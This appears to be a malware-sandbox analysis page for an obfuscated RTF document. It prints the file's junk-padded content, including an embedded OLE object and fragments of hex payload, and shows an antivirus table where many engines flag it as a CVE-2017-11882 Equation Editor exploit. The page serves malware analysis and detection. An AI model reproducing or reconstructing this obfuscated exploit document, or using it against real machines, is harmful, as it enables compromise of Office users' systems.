Static | ZeroBOX
{\rtf1
{\*\mzeroDesc397823687 \;}
{\67784066*54*[
9:=;&(?^?9>&$,06:>2
@-;+^%0%3
9|8*@,)'<>1
1-4;??|%/611%#7181%6
=$4#-@$^5'2??'@
>[1!(27~6^-
/`/|!_-?5'
(1[>)9?>53:2
@)4,12&-?(.&(?_0+1=2#?<>.8`
?^51~][(2=!68#?+?>:7
9:^?2.1?`7#3[?
)(`%|6(,+03&&.:;)?(-#64?~7(-]
164.7.
[.?;1)#4
#@1?09;68=4@(40%@-565$=-`??2
4~.:?!5
1.+8%@.%?45~7%(_&[#?
8~/?>?324<;<4[,,_|
12)+?3%]
-,>~(?(3
9;9:'<!8?;*?%
1??$`9%8?%#%0?=3^>[?>'19`2?95~=[;[$
&?.<8*=9%||
)?%10+-=|2?5#8*[!<*>6+0|
:?]>.%4]-~1?,77./'8&
7*~<4;$_/%-+:$=<[[>?'=6[|-+5;0+23=&
%7)%:')?|+
#2?,*6#174
;_%91?.6!0$46:~'.%@;=1=~+?<?=)9`::9*!?5@('6);
'#_?5|#9%;;,7^
4`.(6;@7%[*._2$?.&?,&|;#/
)?(8??-?6-?*)'=*<~83[6/
?:&_+,+'
=!^68>^_9))/9>.|8<$83+=-^8
!!-:%^#-?850?@$%'
+-%6!`
&?9]%8,3&0&6^<6:?/?;0*3,
+9~98@)~@@(?7?~1
?|`*='=+|1;>;$?'?^2/025=%/
$`+?,>&*|%;-^<69?74
];?&<;?*4@?
)8%%@2(?_)8<?/|
?0#_=?
1[1:|3
%>!??%?>;2&#?&*<;'|',#(0.7,6?-8/&1!
7'66?.5^~05|652/=_
~@;@:!]<,,>@+<3*7^?
>50[|-:(
^4&|,)?
30@1<|/*(._??%?&?
94;.?<_*~$#
%@;1*>?|;8(#!+>
-:$+$/188-<$79]?+*;-#)|`?|95?=&/`42*8-[#=??](?=`|(
?9`5'>>,/8=%/#.?8$;=(2~?]??''6_%'?9?;$1&.5/$1=,/0?~~[???|%%#4$<?=|/#>21.~`@*8:2/!3.?+?~<,
'>2(6/&
^4'+/6
@?`%:`-<'
,*:=$>?_%[
5->`-!_4|?#1&
4?/==^@>5>_'=?[@]2!903/9$$0
?|:/7978<!7?@?
!39$4~3#2__8-?~05.52,<
)?$?&)/`(+70/
[?-*^^1)?5%$1
=8137;
9#0<=?)|?!3]0/?;0_%?:/`+-=2!4?'#+?2;1$:?0??^95?8?<7|
[?_-@04+
'9/]~]5|,3>|^??~93<`?>%[;:8
]7@)4)??
'~10~;:+.^%98?]$4;?&~?`5'??/^$[|96?.:*+>
__9?1]]
,&]3=^6<[0%^
<?%1]09^
]4%~(9>5%9;0&*?-
,^6;$9`+7?%&<@637'!5?-)?-$
!*?|(/_?.(:^5?
)2.'<'>/:@05.&?>45,$?7@/**?([$.?1#.;$?)$'6~!?,?@,<4+:#?/23`;%:?8*7,.=??'%!!*@^??>?$<?+?`<@<?&3-9
?^7&#?,;:*;091!7<%2)=+1$;]9=[3
;.%<%4(:?[?3
-)?`@;|2^+?$~?+
]#?~3%,*,8=
!5:>:7!~!*]):?]69,?>
,9$:15,_0|`?;@?0|?3/?.~%]`1;?#.(&.($]?2`??<%~!0~
=5?@.<&(.:/82<
@|@-,/?<+(!!%8`:'4
)<+.=2
_7?9&*[?%!%>
>;]70:!
,,%?%>_.%)-[<|?^:3?
.?|9|]?/4=$)
3[%0|3*5*)**)[%^?%,3
@::588
1@.?@4,.(['8
?!:**^=@2,2/.?;,?%
@0%?+[9:7%`-!#;7?/
:%>~59>>=-2>~?5#*&|_>?2?-;]?(;,562?'.7?`5$=`)?8
`-`=767*-+?33_
<<:,8^!,[%-!$$;?,46.(
50?&#957)?~+#@7;)(3.2~;?)-,~`|`0$,(
@#)[?=[$:/'|]9!6.)/
%[%>?^;>?%
='.,#*3](-*?/>0|
3->-<%9<6?))@6~,3[?
,.'/(2^`,?1>
?!?+6%<2=6[2?!
).6?098)7-)%9'*69)9
.;_|5!517$=(6!,;)!_9^5##0><.87*9>`?!!
3>#?27]?#.6?!,!2-?*[,%?-?_2?
#)(44.~
4#()^|[
|].]!8?2+[=4^
|?[>3!3!&&
-&#@?.?0?$
?8%5?9/~$%%:%
1%3&-|=?*^;_=4?++?>(?*=2?+*/??<~)$<?.+
_@8(%1&2$7
7<,<;1#4*@$08<5]|?~
3@01/9?9)631?$%1+5`0*9#
];%)74,?:?10#_~:
89%$+|?8#^4
$??==5|-]&/+=?66]&7~':
6|@4~)@^.%#3?
=$-?;5*|@@~^661`61^,+?]+^@)
%/:~`?*<@;4[4?:?6:$*??*_]3?`^(3>?@@+01+!]
*%1.?|#*+[_(^&<$'?;:64$?,>%?5??_?,'70?=%08$$/26?0?*'
>5#:.0
5%>0?<>><?
'/(7=$[%;__(.?:95:-8?/?%?|['?6;(9-8?&8/#0*~4]!?^8,746?(#-#
<5:5)`[);[
8+)~7-!61,>,??<7!?64<\object45613054\objautlink36082617\objw10056\objh1168{\+\objupdate52303715230371\*\objdata171236{\*\aexpnd816093440 \bin00\499011929674037332}
{\*\liststylename486720915 \bin0000\537927921811561818}
\tsd2654389896\margt6\'
{\object\sgqpkclarcqmppjpkwqwswKTEEHSRXPPYJ43889435sgqpkclarcqmppjpkwqwswKTEEHSRXPPYJ18534444{\TVHURMNYDNZSLEVwtpsnztydrgsxczzhuu2787850685TVHURMNYDNZSLEVwtpsnztydrgsxczzhuu}}
\bin000
852ffd3
9ef8df43ccf
a583ed
f0
202da
e3
f
0005ca
061
dcf12
415d89
b87
9acd6
65b215
298dc82a
6a8b7da07aac32
9e7
bd82
c3b1
c2876c
5ce3dfa898
ea1925
66e9
ec9c82a
5ae9
9
22fcf0
fc9abec0
a61f604
d9
0
921
69d
385dd7
d7ad203
0e68c8e
fd71b0b
c3b24c24
2528dfc
ce
6
e
fe2
000
90eb27
9940
00
000e9
00eb
000000
2
6415
eb1de
9bd
000000eb
23
e94f
000e
100
00
e91e0
00
f200000
0eb01
0
1000
0578d8
8
c7b5
0
0
640
ffeb07
8a0
00000
2dd1
74400
fff51
0e927ff
fff9c5
1e
0
e966
9e3feff
fffebb
9
ffffff90
effff83c
304eb12e
8e
ebe1
fffe98
e436
74ef
e87b31
f088
df59
ea2c
6
8888
36
9ba96cfd5
7707
b9388
6e36710b
7
49124cd1e
82
8cf
5c
7d239e
55f4c
74d035
0e28a9f
87b
46af4d
90271
9c9eb6
2aac
4fa
07ffc
93
2
8756d660d6e232
460a02bf
23ac9ff
e
6226e0
04aa
69ce
147
83
54
1dc9bb
ad2843
44cfb84
fdb6
4
a213c62
4
f315f91
cd76f
77f832
ad6
6719
a3f
a8396b
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
ClamAV Clean
CMC Clean
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh BehavesLike.Trojan.lx
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Exploit.Generic-Doc.Save.74c7ccbf
K7AntiVirus Clean
K7GW Clean
Cybereason Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Clean
Avast RTF:Obfuscated-gen [Trj]
Cynet Malicious (score: 99)
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Exploit.Rtf.Heuristic-rtf.dinbqn
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Pnkl
Sophos Troj/RtfExp-EQ
F-Secure Trojan.TR/AVI.Obfuscated.dknxt
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro HEUR_RTFMALFORM
FireEye Exploit.RTF-ObfsObjDat.Gen
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
GData Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVI.Obfuscated.dknxt
MAX malware (ai score=83)
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Clean
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Exploit:Win32/CVE-2017-11882!ml
Google Detected
AhnLab-V3 RTF/Malform-A.Gen
Acronis Clean
McAfee RTFObfustream.c!A819430CDD5D
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
BitDefenderTheta Clean
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
CrowdStrike Clean
No IRMA results available.